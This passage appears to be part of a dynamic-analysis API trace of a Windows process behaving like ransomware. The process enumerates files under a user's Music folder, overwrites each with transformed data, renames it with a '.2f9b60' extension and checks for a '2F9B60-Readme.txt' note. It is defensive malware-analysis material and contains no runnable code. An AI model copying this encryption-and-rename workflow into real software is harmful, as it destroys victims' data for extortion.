Seed=0x397cfcd0) returned 0x30b9f63f [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x78be5f15 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x65791de7 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x1ee9ad04 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x6d49dd58 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x61e4b82d [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x72b0d168 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x3ee3be12 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x5db76e3f [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x69dff21 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x16107c02 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x592a2797 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x5a7424d8 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x784b398c [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0xab5f3db [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x49040815 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x43524cec [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x1429d1f1 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x4f198c26 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x6c44028 [0143.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0143.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0143.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0143.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0143.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0143.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0143.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e4d90 [0143.310] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.310] ReadFile (in: hFile=0x1dfc, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x397cfd40, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x397cfd40*=0x3c00, lpOverlapped=0x0) returned 1 [0143.310] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0143.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0143.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0143.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0143.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0143.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0143.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0143.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0143.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0143.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0143.312] WriteFile (in: hFile=0x1dfc, lpBuffer=0x421fb5f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x397cfd40, lpOverlapped=0x0 | out: lpBuffer=0x421fb5f0*, lpNumberOfBytesWritten=0x397cfd40*=0x3c00, lpOverlapped=0x0) returned 1 [0143.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0143.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e4d90) returned 1 [0143.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x204fe740 [0143.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0143.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe710 [0143.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe710) returned 1 [0143.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x204fe710 [0143.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe650 [0143.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0143.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0143.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0143.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x420580b0 [0143.543] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.543] WriteFile (in: hFile=0x1dfc, lpBuffer=0x420580b0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x397cfdf0, lpOverlapped=0x0 | out: lpBuffer=0x420580b0*, lpNumberOfBytesWritten=0x397cfdf0*=0x102, lpOverlapped=0x0) returned 1 [0143.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0143.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649b0 [0143.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649b0) returned 1 [0143.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0143.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649b0 [0143.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0143.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649e0) returned 1 [0143.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0143.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202649e0 [0143.723] sprintf (in: _Dest=0x202649e0, _Format="%c%c" | out: _Dest="03") returned 2 [0143.723] sprintf (in: _Dest=0x202649e2, _Format="%c%c" | out: _Dest="58") returned 2 [0143.723] sprintf (in: _Dest=0x202649e4, _Format="%c%c" | out: _Dest="09") returned 2 [0143.723] sprintf (in: _Dest=0x202649e6, _Format="%c%c" | out: _Dest="f0") returned 2 [0143.723] sprintf (in: _Dest=0x202649e8, _Format="%c%c" | out: _Dest="82") returned 2 [0143.723] sprintf (in: _Dest=0x202649ea, _Format="%c%c" | out: _Dest="0b") returned 2 [0143.723] sprintf (in: _Dest=0x202649ec, _Format="%c%c" | out: _Dest="49") returned 2 [0143.723] sprintf (in: _Dest=0x202649ee, _Format="%c%c" | out: _Dest="d9") returned 2 [0143.723] sprintf (in: _Dest=0x202649f0, _Format="%c%c" | out: _Dest="9d") returned 2 [0143.723] sprintf (in: _Dest=0x202649f2, _Format="%c%c" | out: _Dest="63") returned 2 [0143.723] sprintf (in: _Dest=0x202649f4, _Format="%c%c" | out: _Dest="fe") returned 2 [0143.723] sprintf (in: _Dest=0x202649f6, _Format="%c%c" | out: _Dest="0c") returned 2 [0143.723] sprintf (in: _Dest=0x202649f8, _Format="%c%c" | out: _Dest="28") returned 2 [0143.723] sprintf (in: _Dest=0x202649fa, _Format="%c%c" | out: _Dest="4e") returned 2 [0143.723] sprintf (in: _Dest=0x202649fc, _Format="%c%c" | out: _Dest="b3") returned 2 [0143.723] sprintf (in: _Dest=0x202649fe, _Format="%c%c" | out: _Dest="98") returned 2 [0143.723] RtlInitAnsiString (in: DestinationString=0x397cfe68, SourceString="035809f0820b49d99d63fe0c284eb398" | out: DestinationString="035809f0820b49d99d63fe0c284eb398") [0143.723] RtlAnsiStringToUnicodeString (in: DestinationString=0x397cfe38, SourceString="035809f0820b49d99d63fe0c284eb398", AllocateDestinationString=1 | out: DestinationString="035809f0820b49d99d63fe0c284eb398") returned 0x0 [0143.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059ba0 [0143.724] RtlFreeAnsiString (AnsiString="0") [0143.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649e0) returned 1 [0143.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649b0) returned 1 [0143.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420580b0) returned 1 [0143.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe710) returned 1 [0143.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe650) returned 1 [0143.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe740) returned 1 [0143.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0143.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe530) returned 1 [0143.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0143.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0143.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x2050a260 [0143.725] wcscat (in: _Dest=0x2050a260, _Source="035809f0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\035809f0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\035809f0" [0143.725] wcscat (in: _Dest=0x2050a260, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\035809f0.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\035809f0.2f9b60" [0143.725] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\035809f0.2f9b60", NtPathName=0x397cfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\035809f0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ad760 [0143.726] NtSetInformationFile (FileHandle=0x1dfc, IoStatusBlock=0x397cfeb0, FileInformation=0x202ad760, Length=0xa4, FileInformationClass=0xa) returned 0x0 [0143.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad760) returned 1 [0143.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4050) returned 1 [0143.737] NtQueryInformationFile (in: FileHandle=0x1dfc, IoStatusBlock=0x397cfe78, FileInformation=0x397cfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x397cfe78, FileInformation=0x397cfe88) returned 0x0 [0143.737] NtSetInformationFile (FileHandle=0x1dfc, IoStatusBlock=0x397cfe78, FileInformation=0x397cfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a260) returned 1 [0143.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0143.741] FlushFileBuffers (hFile=0x1dfc) returned 1 [0143.747] CloseHandle (hObject=0x1dfc) returned 1 [0143.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1230 [0143.750] wcscpy (in: _Dest=0x202b1230, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0143.750] wcscat (in: _Dest=0x202b1230, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" [0143.750] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\2f9b60-readme.txt")) returned 0x20 [0143.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1230) returned 1 [0143.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 Thread: id = 2134 os_tid = 0x14dc [0139.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b160 [0139.560] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0139.560] wcscat (in: _Dest=0x1b86b160, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0139.560] wcscat (in: _Dest=0x1b86b160, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\*" [0139.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20501b70 [0139.560] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\*", lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaa31b00, ftCreationTime.dwHighDateTime=0x1d5e68e, ftLastAccessTime.dwLowDateTime=0x609a3a40, ftLastAccessTime.dwHighDateTime=0x1d5d957, ftLastWriteTime.dwLowDateTime=0x609a3a40, ftLastWriteTime.dwHighDateTime=0x1d5d957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da30 [0139.560] wcscmp (_String1=".", _String2=".") returned 0 [0139.560] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaa31b00, ftCreationTime.dwHighDateTime=0x1d5e68e, ftLastAccessTime.dwLowDateTime=0x609a3a40, ftLastAccessTime.dwHighDateTime=0x1d5d957, ftLastWriteTime.dwLowDateTime=0x609a3a40, ftLastWriteTime.dwHighDateTime=0x1d5d957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.560] wcscmp (_String1="..", _String2=".") returned 1 [0139.560] wcscmp (_String1="..", _String2="..") returned 0 [0139.560] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6072810, ftCreationTime.dwHighDateTime=0x1d5e41f, ftLastAccessTime.dwLowDateTime=0xf85cd2c0, ftLastAccessTime.dwHighDateTime=0x1d5d9f7, ftLastWriteTime.dwLowDateTime=0xf85cd2c0, ftLastWriteTime.dwHighDateTime=0x1d5d9f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1ApQo", cAlternateFileName="")) returned 1 [0139.560] wcscmp (_String1="1ApQo", _String2=".") returned 1 [0139.560] wcscmp (_String1="1ApQo", _String2="..") returned 1 [0139.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86ace0 [0139.561] wcscpy (in: _Dest=0x1b86ace0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0139.561] wcscat (in: _Dest=0x1b86ace0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0139.561] wcscat (in: _Dest=0x1b86ace0, _Source="1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0152.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205c790 [0152.015] wcscpy (in: _Dest=0x4205c790, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0152.015] wcscat (in: _Dest=0x4205c790, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0152.015] wcscat (in: _Dest=0x4205c790, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\*" [0152.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9af20 [0152.015] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\*", lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6072810, ftCreationTime.dwHighDateTime=0x1d5e41f, ftLastAccessTime.dwLowDateTime=0xf85cd2c0, ftLastAccessTime.dwHighDateTime=0x1d5d9f7, ftLastWriteTime.dwLowDateTime=0xf85cd2c0, ftLastWriteTime.dwHighDateTime=0x1d5d9f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c7f0 [0152.015] wcscmp (_String1=".", _String2=".") returned 0 [0152.015] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6072810, ftCreationTime.dwHighDateTime=0x1d5e41f, ftLastAccessTime.dwLowDateTime=0xf85cd2c0, ftLastAccessTime.dwHighDateTime=0x1d5d9f7, ftLastWriteTime.dwLowDateTime=0xf85cd2c0, ftLastWriteTime.dwHighDateTime=0x1d5d9f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.015] wcscmp (_String1="..", _String2=".") returned 1 [0152.015] wcscmp (_String1="..", _String2="..") returned 0 [0152.015] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf239d180, ftCreationTime.dwHighDateTime=0x1d5d8ea, ftLastAccessTime.dwLowDateTime=0x37331ab0, ftLastAccessTime.dwHighDateTime=0x1d5dc53, ftLastWriteTime.dwLowDateTime=0x37331ab0, ftLastWriteTime.dwHighDateTime=0x1d5dc53, nFileSizeHigh=0x0, nFileSizeLow=0xbd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="2KvFIDoe7gzANoc.m4a", cAlternateFileName="2KVFID~1.M4A")) returned 1 [0152.016] wcscmp (_String1="2KvFIDoe7gzANoc.m4a", _String2=".") returned 1 [0152.016] wcscmp (_String1="2KvFIDoe7gzANoc.m4a", _String2="..") returned 1 [0152.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106a00 [0152.016] wcscpy (in: _Dest=0x106a00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0152.016] wcscat (in: _Dest=0x106a00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0152.016] wcscat (in: _Dest=0x106a00, _Source="2KvFIDoe7gzANoc.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2KvFIDoe7gzANoc.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2KvFIDoe7gzANoc.m4a" [0152.016] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2KvFIDoe7gzANoc.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\2kvfidoe7gzanoc.m4a")) returned 0x20 [0152.016] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2KvFIDoe7gzANoc.m4a", dwFileAttributes=0x20) returned 1 [0152.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2KvFIDoe7gzANoc.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\2kvfidoe7gzanoc.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25b8 [0152.017] GetFileSizeEx (in: hFile=0x25b8, lpFileSize=0x3970f730 | out: lpFileSize=0x3970f730*=48393) returned 1 [0152.017] SetFilePointerEx (in: hFile=0x25b8, liDistanceToMove=0xbd05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.017] ReadFile (in: hFile=0x25b8, lpBuffer=0x3970f6b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3970f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3970f6b0*, lpNumberOfBytesRead=0x3970f6f8*=0x4, lpOverlapped=0x0) returned 1 [0152.018] SetFilePointerEx (in: hFile=0x25b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205006b0 [0152.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500740 [0152.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500770 [0152.018] NtQuerySystemTime (in: CurrentTime=0x3970f5f0 | out: CurrentTime=0x3970f5f0*=132462177572242000) returned 0x0 [0152.018] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x367d3f70 [0152.018] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x56a49f40 [0152.018] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x334a1664 [0152.018] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x40de185f [0152.018] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x5a606aa1 [0152.018] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x7c1d885b [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x2e683f85 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x5874b1f7 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x55b97979 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x524e6004 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x5c0572e9 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x7767a077 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x2f2b850c [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x7556f985 [0152.019] RtlRandomEx (in: 